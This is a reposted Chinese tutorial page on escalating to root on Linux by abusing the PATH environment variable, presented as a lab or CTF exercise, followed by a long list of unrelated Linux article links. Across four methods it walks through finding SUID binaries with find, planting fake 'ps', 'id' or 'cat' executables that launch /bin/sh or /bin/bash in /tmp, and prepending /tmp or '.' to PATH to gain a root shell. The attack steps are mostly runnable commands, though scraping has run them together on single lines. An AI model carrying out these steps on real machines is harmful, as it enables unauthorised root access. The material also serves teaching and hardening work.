【四旋翼飞行器】76小时吃透四轴算法!史上最强软硬结合实战项目,👉戳此立抢👈

如何使用环境变量进行Linux提权的方法详细资料概述

马哥Linux运维 2018-07-05 09:50 次阅读

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

如何使用环境变量进行Linux提权的方法详细资料概述

正如你在demo.c文件中看到的,我们正在调用ps命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

方法2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我们正在调用id命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。

find / -perm -u=s -type f 2>/dev/null

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。

cd /home/raj/script/ls./raj

Nano**编辑器**

cd /tmpnano cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。

cd /home/raj/scriptls./ignite

Vi编辑器

cd /tmpvi cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用环境变量进行Linux提权的方法详细资料概述

原文标题:黑客的Linux神技能:使用环境变量进行提权

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
分享:

评论

相关推荐

用于linux的陀螺仪校准库怎么使用

嗨, 我们正在使用用于linux的陀螺仪校准库,以获得更准确的陀螺仪值。您可以告诉我需要为iNemoEngine_gbias_setKnobs...
发表于 02-21 15:29 14次 阅读
用于linux的陀螺仪校准库怎么使用

初学者如何学习嵌入式Linux底层系统

做应用门槛低,特别是现在的ANDROID,纯JAVA。做应用的发展路径个人认为就是业务纯熟。比如在通....
的头像 嵌入式ARM 发表于 02-21 14:12 107次 阅读
初学者如何学习嵌入式Linux底层系统

怎么让linux主机通过USBUART与PSoC 5LP 050开发套件进行通信

大家好, 我是新来的柏树世界所以我不知道我的问题在下面一直问的地方尽管我做这个话题先搜索论坛开幕。 我寻找一个Linux主机...
发表于 02-21 10:21 86次 阅读
怎么让linux主机通过USBUART与PSoC 5LP 050开发套件进行通信

EasyARM iMX28x开发平台硬件设计指导手册免费下载

1.EasyARM-iMX283、EasyARM-i.MX287(以下统称 EasyARM-i.MX....
发表于 02-21 10:01 5次 阅读
EasyARM iMX28x开发平台硬件设计指导手册免费下载

芯灵思SinlinxA33开发板的Linux内核信号量学习

在驱动程序中,当多个线程同时访问相同的资源时(驱动程序中的全局变量是一种典型的共享资源),可能会引发"竞态",因此我们必须...
发表于 02-20 15:50 12次 阅读
芯灵思SinlinxA33开发板的Linux内核信号量学习

请问IPNC3.8与IPNC RDK3.5中的u-boot与linux内核有是相同的吗?

IPNC RDK3.8与IPNC RDK3.5中的u-boot与linux内核有是相同的吗?我现在使用的是3.5的,要移植到3.8,u-boot与内核不...
发表于 02-20 11:28 50次 阅读
请问IPNC3.8与IPNC RDK3.5中的u-boot与linux内核有是相同的吗?

Java教程之零点起飞学Java的线程资料说明

多线程编程是提高应用程序性能的重要手段之一。Java平台从开始就被设计成为多线程环境,从语言级上支持....
发表于 02-20 10:41 18次 阅读
Java教程之零点起飞学Java的线程资料说明

MYD Y6ULX系列 Linux人机接口参考设计板的参考手册资料免费下载

米尔电子推出的人机接口参考设计板基于NXP公司i.MX 6UL/6ULL系列处理器的嵌入式开发板。i....
发表于 02-20 08:00 9次 阅读
MYD Y6ULX系列 Linux人机接口参考设计板的参考手册资料免费下载

浅析七款嵌入式Linux操作系统

除了智能数字终端领域以外,Linux在移动计算平台、智能工业控制、金融业终端系统,甚至军事领域都有着....
发表于 02-19 14:58 89次 阅读
浅析七款嵌入式Linux操作系统

是否提供Linux版Xilinx Documentation Navigator?

嗨, 是否提供Linux版Xilinx Documentation Navigator? 如果没有,当前的Windows版本在Wine下运行良好吗? 谢谢 以...
发表于 02-19 08:47 18次 阅读
是否提供Linux版Xilinx Documentation Navigator?

状态字节和位怎么转换

美好的一天,我正在使用gpib和linux-gpib库编程HP8510C VNA。 我正在使用ibrsp()函数(实际上在python包中称为rsp())...
发表于 02-19 07:54 25次 阅读
状态字节和位怎么转换

芯灵思SinlinxA33开发板Linux内核workqueue(附实测代码)

内核工作队列概述 工作队列(workqueue)是另外一种将工作推后执行的形式,工作队列可以把工作推后,交由一个内核线程去执行,也...
发表于 02-18 15:43 292次 阅读
芯灵思SinlinxA33开发板Linux内核workqueue(附实测代码)

一名Linux系统运维工程师的自述

我是一个IT从业者,接触Linux也有几个年头了,慢慢的成为了一名Linux运维工程师,经过这几年的....
的头像 工程师人生 发表于 02-18 14:20 186次 阅读
一名Linux系统运维工程师的自述

DM8168有linux下的DSP编译器吗

在编写一段代码之后,如何知道这段程序是跑在DSP中,还是在ARM中的?需要手动进行寄存器设置还是编译器会自动优化? 有没...
发表于 02-18 13:48 73次 阅读
DM8168有linux下的DSP编译器吗

华为Linux培训资料Linux操作指导资料免费下载

shell 是用户和 Linux 操作系统之间的接口 Linux 中有多种 shell 其中缺省使用....
发表于 02-18 08:00 39次 阅读
华为Linux培训资料Linux操作指导资料免费下载

Linux入门教程之Linux内核完全注释的详细资料说明

本书对 Linux 早期操作系统内核(v0.95)全部代码文件进行了详细全面的注释和说明,旨在使读者....
发表于 02-18 08:00 27次 阅读
Linux入门教程之Linux内核完全注释的详细资料说明

随着成本的逐步降低 中国的智能家居最终将走向嵌入式

后PC时代的到来完全依赖于嵌入式技术的诞生与发展,传统的IT设备逐渐转变为嵌入式设备,这是一个大趋势....
发表于 02-15 15:38 224次 阅读
随着成本的逐步降低 中国的智能家居最终将走向嵌入式

芯灵思SinlinxA33开发板Linux内核 tasklet 机制(附实测代码)

Linux 中断编程分为中断顶半部,中断底半部 中断顶半部: 做紧急,耗时短的事情,同时还启动中断底半部。 中断底半部: 做耗时...
发表于 02-15 15:29 469次 阅读
芯灵思SinlinxA33开发板Linux内核 tasklet 机制(附实测代码)

Linux进程管理:什么是进程?进程的生命周期

所有运行在Linux操作系统中的进程都被task_struct结构管理,该结构同时被叫作进程描述。一....
的头像 马哥Linux运维 发表于 02-15 14:29 334次 阅读
Linux进程管理:什么是进程?进程的生命周期

了解虚拟内存和内存分页的概念

应用程序来说对物理内存地址一无所知。它只可能通过虚拟内存地址来进行数据读写。程序中表达的内存地址,也....
的头像 马哥Linux运维 发表于 02-15 14:19 1970次 阅读
了解虚拟内存和内存分页的概念

inux shell通配符、元字符、转义符最全使用攻略

加入”*” 都是作用在命令名直接。可以看到shell 元字符,基本是作用在命令上面,用作多命令分割(....
的头像 马哥Linux运维 发表于 02-15 14:10 250次 阅读
inux shell通配符、元字符、转义符最全使用攻略

用这些开源游戏来挑战你的战略技能,探索新世界。

Freeciv 可以被视为是文明系列游戏的开源版本。游戏玩法和文明系列最早期的游戏十分类似,Free....
的头像 Linux爱好者 发表于 02-15 14:01 283次 阅读
用这些开源游戏来挑战你的战略技能,探索新世界。

一种新的Linux系统后门已经开始肆虐

Check Point 表示 SpeakUp 可以在六种不同的 Linux 发行版甚至 macOS ....
的头像 Linux爱好者 发表于 02-15 13:59 195次 阅读
一种新的Linux系统后门已经开始肆虐

Jack Wallen盘点他最爱的五款Linux音乐播放器

在所有我用过的音乐播放器中,Clementine 是目前为止功能最多也是最容易使用的。它同时也包含了....
的头像 Linux爱好者 发表于 02-15 13:56 169次 阅读
Jack Wallen盘点他最爱的五款Linux音乐播放器

芯灵思SinlinxA33开发板Linux内核定时器编程

Linux 内核定时器是内核用来控制在未来某个时间点(基于jiffies)调度执行某个函数的一种机制,其实现位于 和 kernel/timer.c ...
发表于 02-14 14:55 485次 阅读
芯灵思SinlinxA33开发板Linux内核定时器编程

MYD-C7Z010和MYD-C7Z020 Linux开发手册的详细资料说明

本文档的主要内容详细介绍的是MYD-C7Z010和MYD-C7Z020 Linux开发手册的详细资料....
发表于 02-13 17:49 30次 阅读
MYD-C7Z010和MYD-C7Z020 Linux开发手册的详细资料说明

Python自动化运维技术与最佳实践PDF可复制版电子书免费下载

市面上介绍互动的、面向对象的Python编程语言的书有很多,其强大而又灵活的特性,使其成为很多企图通....
发表于 02-12 08:00 50次 阅读
Python自动化运维技术与最佳实践PDF可复制版电子书免费下载

Hi3518A和Hi3518C和Hi3518E及Hi3516C Linux开发环境的用户指南

本文档介绍 Linux 开发环境。Linux 开发环境的搭建、HiBoot、Linux 内核、根文件....
发表于 02-12 08:00 24次 阅读
Hi3518A和Hi3518C和Hi3518E及Hi3516C Linux开发环境的用户指南

如何进行Linux DNS服务器的安装配置和维护

每个 IP 地址都可以有一个主机名,主机名由一个或多个字符串组成,字符串之间用小数点隔开。有了主机名....
的头像 马哥Linux运维 发表于 02-03 17:58 205次 阅读
如何进行Linux DNS服务器的安装配置和维护

100道Linux经常笔试的选择题含答案

本套笔试题共100题,每题1分,共100分。(参考答案在文章末尾) 1. cron 后台常驻程序 ....
的头像 嵌入式ARM 发表于 02-03 17:25 392次 阅读
100道Linux经常笔试的选择题含答案

Chrome OS设备即将允许用户自行选择Linux的发行版了吗

谷歌去年宣布在 Chrome OS 上支持运行 Linux 应用,前不久又有消息称其将为运行这些 L....
的头像 Linux爱好者 发表于 02-03 09:27 274次 阅读
Chrome OS设备即将允许用户自行选择Linux的发行版了吗

嵌入式LINUX的Qt开发入门教程

关于LINUX的Qt开发,你了解多少?它和ARM的GUI开发差别有多大?如果你还一头雾水,如果你想步....
的头像 周立功单片机 发表于 02-03 09:26 255次 阅读
嵌入式LINUX的Qt开发入门教程

Linux内存组织结构和页面布局

linux 内存是后台开发人员,需要深入了解的计算机资源。合理的使用内存,有助于提升机器的性能和稳定....
的头像 马哥Linux运维 发表于 02-03 09:02 192次 阅读
Linux内存组织结构和页面布局

Linux系统上内存类型交换空间详解

学习如何修改你的系统上的交换空间的容量,以及你到底需要多大的交换空间。
的头像 Linux爱好者 发表于 02-02 17:31 256次 阅读
Linux系统上内存类型交换空间详解

Linux中的35个find命令用法

Linux查找命令是Linux系统中最重要和最常用的命令之一。查找用于根据与参数匹配的文件指定的条件....
的头像 马哥Linux运维 发表于 02-02 16:53 113次 阅读
Linux中的35个find命令用法

如何用rcm 调取用户隐藏文件

 rcm 是一个 “rc” 文件管理套件(“rc” 是命名配置文件的另一种约定,它已被某些 GNU/....
发表于 02-01 09:26 47次 阅读
如何用rcm 调取用户隐藏文件

Linux开发服务器简易搭建方案

开始部署禅道系统。禅道有很多的安装方法,其实因为我们已经架设了apache php mysql,最稳....
发表于 02-01 01:53 102次 阅读
Linux开发服务器简易搭建方案

Linux基金会宣布成立一个名为LF Edg 的小组

Open Glossary of Edge Computing :这是一个边缘计算术语参考文件,每一....
的头像 Linux爱好者 发表于 01-30 15:15 1016次 阅读
Linux基金会宣布成立一个名为LF Edg 的小组

如何使用ARM9芯片进行嵌入式工控机的设计

本课题以ARM9的嵌入式工控设计为主要内容和开发对象,目标是采用基于ARM9内核的ATMEL工业级嵌....
的头像 嵌入式ARM 发表于 01-29 15:53 1040次 阅读
如何使用ARM9芯片进行嵌入式工控机的设计

基础被问到的24道shell脚本面试题精心汇总

虽然现在Python在运维工作中已经使用很普遍,但是很多企业在找Linux云计算工程师的时候还是会问....
的头像 马哥Linux运维 发表于 01-29 15:48 474次 阅读
基础被问到的24道shell脚本面试题精心汇总

windows下虚拟机配置spark集群最强攻略!

这里我们可以直接使用linux的命令下载jdk,当然也可以在本地下载之后传输到虚拟机中,这里我采用的....
的头像 电子发烧友网工程师 发表于 01-29 10:58 304次 阅读
windows下虚拟机配置spark集群最强攻略!

树莓派系列教程资料汇总免费下载

本文档的主要内容详细介绍的是树莓派系列教程资料汇总免费下载包括了:树莓派系列教程1:人生若只如初见,....
发表于 01-29 10:04 227次 阅读
树莓派系列教程资料汇总免费下载

你会使用Linux 中的“!”惊叹用法吗

前言 实际上,不起眼的“!”在linux中有着很多让你惊叹的妙用。本文就来细数那些“!”的神奇用法。
的头像 嵌入式资讯精选 发表于 01-29 09:08 252次 阅读
你会使用Linux 中的“!”惊叹用法吗

浅谈嵌入式Linux下的C语言编程知识要点

Linux和C语言有着很深的渊源,因为Linux本身就是用C语言编写的。同时,在Linux操作系统中....
的头像 玩转单片机 发表于 01-28 11:32 678次 阅读
浅谈嵌入式Linux下的C语言编程知识要点

面试Linux运维工作至少需要知道哪些知识运维的现状及发展前景分析

我们已经发过不少 Linux 面试题,但是单独的面试题总感觉会过于零碎,没有体系化内容给人的帮助大。
的头像 马哥Linux运维 发表于 01-27 11:58 861次 阅读
面试Linux运维工作至少需要知道哪些知识运维的现状及发展前景分析

Linux系统与服务管理工具Systemd被曝存在3大漏洞

3 个漏洞已经收录到 CVE,分别是内存损坏漏洞 CVE-2018-16864 与 CVE-2018....
的头像 Linux爱好者 发表于 01-25 16:51 433次 阅读
Linux系统与服务管理工具Systemd被曝存在3大漏洞

如何利用Python Remote objects技术实现分布式对象应用系统

讨论了如何利用Python Remote objects技术来设计与实现分布式对象应用系统!详细阐述....
发表于 01-22 15:54 67次 阅读
如何利用Python Remote ob<x>jects技术实现分布式对象应用系统

C程序设计语言 第二版中文PDF版免费下载

本书是由 C语言的设计者 Brian W. Kernighan 和 Dennis M. Ritchi....
发表于 01-21 08:00 52次 阅读
C程序设计语言 第二版中文PDF版免费下载

Linux和UNIX可以用什么命令查看运行中进程的相关信息

  你可以使用ps命令。它能显示当前运行中进程的相关信息,包括进程的PID。Linux和UNIX都支....
发表于 01-20 09:42 144次 阅读
Linux和UNIX可以用什么命令查看运行中进程的相关信息

Linux系统用户觉得很烦的6大问题

关于Linux的最大误解是,它完全面向专家和程序员,即熟悉编码的人群。这就是为什么这么多年来很多人对....
发表于 01-20 09:34 219次 阅读
Linux系统用户觉得很烦的6大问题

如何从Linux中探讨Ⅵ编辑器的教学问题

从Linux中文本编辑器访的主要教学方法和常见的教学问题两个方面,探讨了Ⅵ编辑器的教学问题。
发表于 01-18 15:07 57次 阅读
如何从Linux中探讨Ⅵ编辑器的教学问题

Linux最常用20条命令汇总

每个人使用Linux的目的都不同,所以常用的命令差异非常大,而对于C/C++和shell程序编写较多....
的头像 嵌入式ARM 发表于 01-18 14:35 337次 阅读
Linux最常用20条命令汇总

嵌入式Linux下的C编程知识要点汇总

Linux和C语言有着很深的渊源,因为Linux本身就是用C语言编写的。同时,在Linux操作系统中....
的头像 嵌入式ARM 发表于 01-18 14:27 651次 阅读
嵌入式Linux下的C编程知识要点汇总

如何吧Mysql数据库移植到嵌入式Linux的详细资料说明

本文档的主要内容详细介绍的是如何吧Mysql数据库移植到嵌入式Linux的详细资料说明。
发表于 01-18 08:00 49次 阅读
如何吧Mysql数据库移植到嵌入式Linux的详细资料说明

如何吧SQLite移植到嵌入式Linux系统的详细资料说明

本文档的主要内容详细介绍的是如何吧SQLite移植到嵌入式Linux系统的详细资料说明。
发表于 01-18 08:00 43次 阅读
如何吧SQLite移植到嵌入式Linux系统的详细资料说明

如何吧tcpdump网络抓包工具移植到嵌入式linux系统

本文档的主要内容详细介绍的是如何吧tcpdump网络抓包工具移植到嵌入式linux系统详细资料合集免....
发表于 01-18 08:00 62次 阅读
如何吧tcpdump网络抓包工具移植到嵌入式linux系统

Linux编译驱动、内核及应用程序分析

作为一名嵌入式Linux新手,在学习的过程中会遇到很多问题。写了一个驱动程序怎么编译?怎么加载进内核....
的头像 周立功单片机 发表于 01-17 13:46 1509次 阅读
Linux编译驱动、内核及应用程序分析

Linux中如何判断文件夹是否存在并新建文件夹

本文档的主要内容详细介绍的是Linux中如何判断文件夹是否存在并新建文件夹vi文件免费下载。
发表于 01-17 08:00 48次 阅读
Linux中如何判断文件夹是否存在并新建文件夹

AM4379 AM437x ARM Cortex-A9 微处理器 (MPU)

TI AM437x高性能处理器基于ARM Cortex-A9内核。 这些处理器通过3D图形加速得到增强,可实现丰富的图形用户界面,还配备了协处理器,用于进行确定性实时处理(包括EtherCAT,PROFIBUS,EnDat等工业通信协议)。该器件支持高级操作系统(HLOS)。基于Linux的® 可从TI免费获取。其它HLOS可从TI的设计网络和生态系统合作伙伴处获取。 这些器件支持对采用较低性能ARM内核的系统升级,并提供更新外设,包括QSPI-NOR和LPDDR2等存储器选项。 这些处理器包含功能方框图中显示的子系统,并且后跟相应的“说明”中添加了更多信息说明。 处理器子系统基于ARM Cortex-A9内核,PowerVR SGX™图形加速器子系统提供3D图形加速功能以支持显示和高级用户界面。 可编程实时单元子系统和工业通信子系统(PRU-ICSS与ARM内核分离,允许单独操作和计时,以实现更高的效率和灵活性.PRU-ICSS支持更多外设接口和EtherCAT,PROFINET,EtherNet /IP,PROFIBUS,以太网Powerlink,Sercos,EnDat等...
发表于 09-25 11:51 58次 阅读
AM4379 AM437x ARM Cortex-A9 微处理器 (MPU)